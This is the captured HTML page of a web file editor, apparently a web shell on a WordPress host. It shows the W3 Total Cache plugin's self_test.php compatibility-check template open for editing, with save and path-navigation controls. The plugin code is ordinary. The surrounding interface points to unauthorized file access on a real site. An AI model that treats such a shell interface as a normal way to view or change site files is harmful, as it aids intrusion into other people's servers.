<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: self_test.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
namespace W3TC;

if ( ! defined( 'W3TC' ) ) {
	die();
}
?&gt;
&lt;h3&gt;&lt;?php esc_html_e( 'Compatibility Check', 'w3-total-cache' ); ?&gt;&lt;/h3&gt;

&lt;fieldset&gt;
	&lt;legend&gt;&lt;?php esc_html_e( 'Legend', 'w3-total-cache' ); ?&gt;&lt;/legend&gt;

	&lt;p&gt;
		&lt;?php
		echo wp_kses(
			sprintf(
				// translators: 1 opening HTML span with background, 2 closing HTML span tag, 3 HTML line break tag.
				__(
					'%1$sInstalled/Ok/Yes/True/On%2$s: Functionality will work properly.%3$s',
					'w3-total-cache'
				),
				'&lt;span style=&quot;background-color: #33cc33&quot;&gt;',
				'&lt;/span&gt;',
				'&lt;br /&gt;'
			),
			array(
				'span' =&gt; array(
					'style' =&gt; array(),
				),
				'br'   =&gt; array(),
			)
		);
		echo wp_kses(
			sprintf(
				// translators: 1 opening HTML span with background, 2 closing HTML span tag, 3 HTML line break tag.
				__(
					'%1$sNot detected/Not available/Off%2$s: May be installed, but cannot be automatically confirmed. Functionality may be limited.%3$s',
					'w3-total-cache'
				),
				'&lt;span style=&quot;background-color: #FFFF00&quot;&gt;',
				'&lt;/span&gt;',
				'&lt;br /&gt;'
			),
			array(
				'span' =&gt; array(
					'style' =&gt; array(),
				),
				'br'   =&gt; array(),
			)
		);
		echo wp_kses(
			sprintf(
				// translators: 1 opening HTML span with background, 2 closing HTML span tag, 3 HTML line break tag.
				__(
					'%1$sNot installed/Error/No/False%2$s: Plugin or some functions may not work.%3$s',
					'w3-total-cache'
				),
				'&lt;span style=&quot;background-color: #FF0000&quot;&gt;',
				'&lt;/span&gt;',
				'&lt;br /&gt;'
			),
			array(
				'span' =&gt; array(
					'style' =&gt; array(),
				),
				'br'   =&gt; array(),
			)
		);
		?&gt;
	&lt;/p&gt;
&lt;/fieldset&gt;

&lt;div id=&quot;w3tc-self-test&quot;&gt;
	&lt;h4 style=&quot;margin-top: 0;&quot;&gt;&lt;?php esc_html_e( 'Server Modules &amp;amp; Resources:', 'w3-total-cache' ); ?&gt;&lt;/h4&gt;

	&lt;ul&gt;
		&lt;li&gt;
			&lt;?php esc_html_e( 'Plugin Version:', 'w3-total-cache' ); ?&gt; &lt;code&gt;&lt;?php echo esc_html( W3TC_VERSION ); ?&gt;&lt;/code&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'PHP Version:', 'w3-total-cache' ); ?&gt;
			&lt;code&gt;&lt;?php echo PHP_VERSION; ?&gt;&lt;/code&gt;;
		&lt;/li&gt;

		&lt;li&gt;
			Web Server:
			&lt;?php if ( stristr( $_SERVER['SERVER_SOFTWARE'], 'apache' ) !== false ) : ?&gt;
				&lt;code&gt;Apache&lt;/code&gt;
			&lt;?php elseif ( stristr( $_SERVER['SERVER_SOFTWARE'], 'LiteSpeed' ) !== false ) : ?&gt;
				&lt;code&gt;Lite Speed&lt;/code&gt;
			&lt;?php elseif ( stristr( $_SERVER['SERVER_SOFTWARE'], 'nginx' ) !== false ) : ?&gt;
				&lt;code&gt;nginx&lt;/code&gt;
			&lt;?php elseif ( stristr( $_SERVER['SERVER_SOFTWARE'], 'lighttpd' ) !== false ) : ?&gt;
				&lt;code&gt;lighttpd&lt;/code&gt;
			&lt;?php elseif ( stristr( $_SERVER['SERVER_SOFTWARE'], 'iis' ) !== false ) : ?&gt;
				&lt;code&gt;Microsoft IIS&lt;/code&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FFFF00&quot;&gt;Not detected&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;

		&lt;li&gt;
			FTP functions:
			&lt;?php if ( function_exists( 'ftp_connect' ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;Installed&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FFFF00&quot;&gt;Not detected&lt;/span&gt;
			&lt;?php endif; ?&gt;
				&lt;span class=&quot;w3tc-self-test-hint&quot;&gt;
					&lt;?php
					echo wp_kses(
						sprintf(
							// translators: 1 opening HTML acronym tag, 2 closing HTML acronym tag,
							// translators: 3 opening HTML acronym tag, 4 closing HTML acronym tag.
							__(
								'(required for Self-hosted (%1$sFTP%2$s) %3$sCDN%4$s support)',
								'w3-total-cache'
							),
							'&lt;acronym title=&quot;' . esc_attr__( 'File Transfer Protocol', 'w3-total-cache' ) . '&quot;&gt;',
							'&lt;/acronym&gt;',
							'&lt;acronym title=&quot;' . esc_attr__( 'Content Delivery Network', 'w3-total-cache' ) . '&quot;&gt;',
							'&lt;/acronym&gt;'
						),
						array(
							'acronym' =&gt; array(
								'title' =&gt; array(),
							),
						)
					);
					?&gt;
				&lt;/span&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'Multibyte String support:', 'w3-total-cache' ); ?&gt;
			&lt;?php if ( function_exists( 'mb_substr' ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Not installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
				&lt;span class=&quot;w3tc-self-test-hint&quot;&gt;&lt;?php esc_html_e( '(required for Rackspace Cloud Files support)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'cURL extension:', 'w3-total-cache' ); ?&gt;
			&lt;?php if ( function_exists( 'curl_init' ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Not installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
				&lt;span class=&quot;w3tc-self-test-hint&quot;&gt;&lt;?php esc_html_e( '(required for Amazon S3, Amazon CloudFront, Rackspace CloudFiles support)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
		&lt;/li&gt;

		&lt;li&gt;
			zlib extension:
			&lt;?php if ( function_exists( 'gzencode' ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Not installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
				&lt;span class=&quot;w3tc-self-test-hint&quot;&gt;&lt;?php esc_html_e( '(required for gzip compression support)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
		&lt;/li&gt;

		&lt;li&gt;
			brotli extension:
			&lt;?php if ( function_exists( 'brotli_compress' ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FFFF00&quot;&gt;&lt;?php esc_html_e( 'Not detected', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
				&lt;span class=&quot;w3tc-self-test-hint&quot;&gt;&lt;?php esc_html_e( '(required for brotli compression support)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
		&lt;/li&gt;

		&lt;li&gt;
			Opcode cache:
			&lt;?php if ( Util_Installed::opcache() ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed (OPCache)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php elseif ( Util_Installed::apc() ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed (APC)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php elseif ( Util_Installed::eaccelerator() ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed (eAccelerator)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php elseif ( Util_Installed::xcache() ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed (XCache)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php elseif ( PHP_VERSION &gt;= 6 ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'PHP6', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Not installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'Memcached extension:', 'w3-total-cache' ); ?&gt;
			&lt;?php if ( class_exists( '\Memcached' ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FFFF00&quot;&gt;&lt;?php esc_html_e( 'Not available', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'Memcache extension:', 'w3-total-cache' ); ?&gt;
			&lt;?php if ( class_exists( '\Memcache' ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FFFF00&quot;&gt;&lt;?php esc_html_e( 'Not available', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'Redis extension:', 'w3-total-cache' ); ?&gt;
			&lt;?php if ( Util_Installed::redis() ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FFFF00&quot;&gt;&lt;?php esc_html_e( 'Not available', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'HTML Tidy extension:', 'w3-total-cache' ); ?&gt;
			&lt;?php if ( Util_Installed::tidy() ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Not installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
				&lt;span class=&quot;w3tc-self-test-hint&quot;&gt;&lt;?php esc_html_e( '(required for HTML Tidy minifier support)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'Mime type detection:', 'w3-total-cache' ); ?&gt;
			&lt;?php if ( function_exists( 'finfo_open' ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed (Fileinfo)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php elseif ( function_exists( 'mime_content_type' ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed (mime_content_type)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Not installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
				&lt;span class=&quot;w3tc-self-test-hint&quot;&gt;
					&lt;?php
					echo wp_kses(
						sprintf(
							// translators: 1 opening HTML acornym tag, 2 closing HTML acronym tag.
							__(
								'(required for %1$sCDN%2$s support)',
								'w3-total-cache'
							),
							'&lt;acronym title=&quot;' . esc_attr__( 'Content Delivery Network', 'w3-total-cache' ) . '&quot;&gt;',
							'&lt;/acronym&gt;'
						),
						array(
							'acronym' =&gt; array(
								'title' =&gt; array(),
							),
						)
					);
					?&gt;
				&lt;/span&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'Hash function:', 'w3-total-cache' ); ?&gt;
			&lt;?php if ( function_exists( 'hash' ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed (hash)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php elseif ( function_exists( 'mhash' ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed (mhash)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Not installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'Open basedir:', 'w3-total-cache' ); ?&gt;
			&lt;?php $open_basedir = ini_get( 'open_basedir' ); if ( $open_basedir ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'On:', 'w3-total-cache' ); ?&gt; &lt;?php echo esc_html( $open_basedir ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FFFF00&quot;&gt;&lt;?php esc_html_e( 'Off', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'zlib output compression:', 'w3-total-cache' ); ?&gt;
			&lt;?php if ( Util_Environment::to_boolean( ini_get( 'zlib.output_compression' ) ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'On', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FFFF00&quot;&gt;&lt;?php esc_html_e( 'Off', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'set_time_limit:', 'w3-total-cache' ); ?&gt;
			&lt;?php if ( function_exists( 'set_time_limit' ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Available', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FFFF00&quot;&gt;&lt;?php esc_html_e( 'Not available', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;

		&lt;li&gt;
			SSH2 extension:
			&lt;?php if ( function_exists( 'ssh2_connect' ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FFFF00&quot;&gt;&lt;?php esc_html_e( 'Not detected', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
				&lt;span class=&quot;w3tc-self-test-hint&quot;&gt;
					&lt;?php
					echo wp_kses(
						sprintf(
							// translators: 1 opening HTML acronym tag, 2 closing HTML acronym tag,
							// translators: 3 opening HTML acronym tag, 4 closing HTML acronym tag,
							// translators: 5 opening HTML acronym tag, 6 closing HTML acronym tag.
							__(
								'(required for Self-hosted (%1$sFTP%2$s) %3$sCDN%4$s %5$sSFTP%6$s support)',
								'w3-total-cache'
							),
							'&lt;acronym title=&quot;' . esc_attr__( 'File Transfer Protocol', 'w3-total-cache' ) . '&quot;&gt;',
							'&lt;/acronym&gt;',
							'&lt;acronym title=&quot;' . esc_attr__( 'Content Delivery Network', 'w3-total-cache' ) . '&quot;&gt;',
							'&lt;/acronym&gt;',
							'&lt;acronym title=&quot;' . esc_attr__( 'Secure File Transfer Protocol', 'w3-total-cache' ) . '&quot;&gt;',
							'&lt;/acronym&gt;'
						),
						array(
							'acronym' =&gt; array(
								'title' =&gt; array(),
							),
						)
					);
					?&gt;
				&lt;/span&gt;
		&lt;/li&gt;

		&lt;?php
		if ( Util_Environment::is_apache() ) :

			$modules = array(
				'mod_deflate',
				'mod_env',
				'mod_expires',
				'mod_filter',
				'mod_ext_filter',
				'mod_headers',
				'mod_mime',
				'mod_rewrite',
				'mod_setenvif',
			);

			if ( function_exists( 'apache_get_modules' ) ) {
				// apache_get_modules only works when PHP is installed as an Apache module.
				$apache_modules = apache_get_modules();

			} elseif ( function_exists( 'exec' ) ) {
				// alternative modules capture for php CGI.
				exec( 'apache2 -t -D DUMP_MODULES', $output, $status );

				if ( 0 !== $status ) {
					exec( 'httpd -t -D DUMP_MODULES', $output, $status );
				}

				if ( 0 === $status &amp;&amp; 0 &lt; count( $output ) ) {
					$apache_modules = array();

					foreach ( $output as $line ) {
						if ( preg_match( '/^\s(\S+)\s\((\S+)\)$/', $line, $matches ) === 1 ) {
							$apache_modules[] = $matches[1];
						}
					}
				}

				// modules have slightly different names.
				$modules = array(
					'deflate_module',
					'env_module',
					'expires_module',
					'filter_module',
					'ext_filter_module',
					'headers_module',
					'mime_module',
					'rewrite_module',
					'setenvif_module',
				);
			} else {
				$apache_modules = false;
			}

			?&gt;
			&lt;h5&gt;&lt;?php esc_html_e( 'Detection of the below modules may not be possible on all environments. As such &quot;Not detected&quot; means that the environment disallowed detection for the given module which may still be installed/enabled whereas &quot;Not installed&quot; means the given module was detected but is not installed/detected.', 'w3-total-cache' ); ?&gt;&lt;/h5&gt;
			&lt;?php foreach ( $modules as $module ) : ?&gt;
				&lt;li&gt;
					&lt;?php echo esc_html( $module ); ?&gt;:
					&lt;?php if ( ! empty( $apache_modules ) ) : ?&gt;
						&lt;?php if ( in_array( $module, $apache_modules, true ) ) : ?&gt;
							&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
						&lt;?php else : ?&gt;
							&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Not installed', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
						&lt;?php endif; ?&gt;
					&lt;?php else : ?&gt;
						&lt;span style=&quot;background-color: #FFFF00&quot;&gt;&lt;?php esc_html_e( 'Not detected', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
					&lt;?php endif; ?&gt;
						&lt;span class=&quot;w3tc-self-test-hint&quot;&gt;&lt;?php esc_html_e( '(required for disk enhanced Page Cache and Browser Cache)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
				&lt;/li&gt;
			&lt;?php endforeach; ?&gt;
		&lt;?php endif; ?&gt;
	&lt;/ul&gt;
	&lt;?php
	$additional_checks = apply_filters( 'w3tc_compatibility_test', __return_empty_array() );
	if ( $additional_checks ) :
		?&gt;
		&lt;h4&gt;&lt;?php esc_html_e( 'Additional Server Modules', 'w3-total-cache' ); ?&gt;&lt;/h4&gt;
		&lt;ul&gt;
			&lt;?php
			foreach ( $additional_checks as $check ) :
				echo '&lt;li&gt;' . wp_kses( $check, Util_Ui::get_allowed_html_for_wp_kses_from_content( $check ) ) . '&lt;/li&gt;';
			endforeach;
			?&gt;
		&lt;/ul&gt;
		&lt;?php
	endif;
	?&gt;

	&lt;h4&gt;&lt;?php esc_html_e( 'WordPress Resources', 'w3-total-cache' ); ?&gt;&lt;/h4&gt;

	&lt;ul&gt;
		&lt;?php
		$paths = array_unique(
			array(
				Util_Rule::get_pgcache_rules_core_path(),
				Util_Rule::get_browsercache_rules_cache_path(),
			)
		);
		?&gt;
		&lt;?php
		foreach ( $paths as $path ) :
			if ( $path ) :
				?&gt;
				&lt;li&gt;
					&lt;?php echo esc_html( $path ); ?&gt;:
					&lt;?php if ( file_exists( $path ) ) : ?&gt;
						&lt;?php if ( Util_File::is_writable( $path ) ) : ?&gt;
							&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'OK', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
						&lt;?php else : ?&gt;
							&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Not write-able', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
						&lt;?php endif; ?&gt;
					&lt;?php else : ?&gt;
						&lt;?php if ( Util_File::is_writable_dir( dirname( $path ) ) ) : ?&gt;
							&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Write-able', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
						&lt;?php else : ?&gt;
							&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Not write-able', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
						&lt;?php endif; ?&gt;
					&lt;?php endif; ?&gt;
				&lt;/li&gt;
				&lt;?php
			endif;
		endforeach;
		?&gt;

		&lt;li&gt;
			&lt;?php echo esc_html( Util_Environment::normalize_path( WP_CONTENT_DIR ) ); ?&gt;:
			&lt;?php if ( Util_File::is_writable_dir( WP_CONTENT_DIR ) ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'OK', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Not write-able', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php $uploads_dir = @wp_upload_dir(); ?&gt;
			&lt;?php echo esc_html( $uploads_dir['path'] ); ?&gt;:
			&lt;?php if ( ! empty( $uploads_dir['error'] ) ) : ?&gt;
				&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Error:', 'w3-total-cache' ); ?&gt; &lt;?php echo esc_html( $uploads_dir['error'] ); ?&gt;&lt;/span&gt;
			&lt;?php elseif ( ! Util_File::is_writable_dir( $uploads_dir['path'] ) ) : ?&gt;
				&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Not write-able', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'OK', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'Fancy permalinks:', 'w3-total-cache' ); ?&gt;
			&lt;?php $permalink_structure = get_option( 'permalink_structure' ); if ( $permalink_structure ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php echo esc_html( $permalink_structure ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FFFF00&quot;&gt;&lt;?php esc_html_e( 'Off', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'WP_CACHE define:', 'w3-total-cache' ); ?&gt;
			&lt;?php if ( defined( 'WP_CACHE' ) &amp;&amp; WP_CACHE ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Defined (true)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php elseif ( defined( 'WP_CACHE' ) &amp;&amp; ! WP_CACHE ) : ?&gt;
				&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Defined (false)', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Not defined', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'URL rewrite:', 'w3-total-cache' ); ?&gt;
			&lt;?php if ( Util_Rule::can_check_rules() ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'Enabled', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FF0000&quot;&gt;&lt;?php esc_html_e( 'Disabled', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;

		&lt;li&gt;
			&lt;?php esc_html_e( 'Network mode:', 'w3-total-cache' ); ?&gt;
			&lt;?php if ( Util_Environment::is_wpmu() ) : ?&gt;
				&lt;span style=&quot;background-color: #33cc33&quot;&gt;&lt;?php esc_html_e( 'On', 'w3-total-cache' ); ?&gt; (&lt;?php echo Util_Environment::is_wpmu_subdomain() ? 'subdomain' : 'subdir'; ?&gt;)&lt;/span&gt;
			&lt;?php else : ?&gt;
				&lt;span style=&quot;background-color: #FFFF00&quot;&gt;&lt;?php esc_html_e( 'Off', 'w3-total-cache' ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;
		&lt;/li&gt;
	&lt;/ul&gt;
&lt;/div&gt;

&lt;div id=&quot;w3tc-self-test-bottom&quot;&gt;
	&lt;input class=&quot;button-primary&quot; type=&quot;button&quot; value=&quot;&lt;?php esc_attr_e( 'Close', 'w3-total-cache' ); ?&gt;&quot; /&gt;
&lt;/div&gt;
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache%2Finc%2Flightbox'>🔙 Back</a>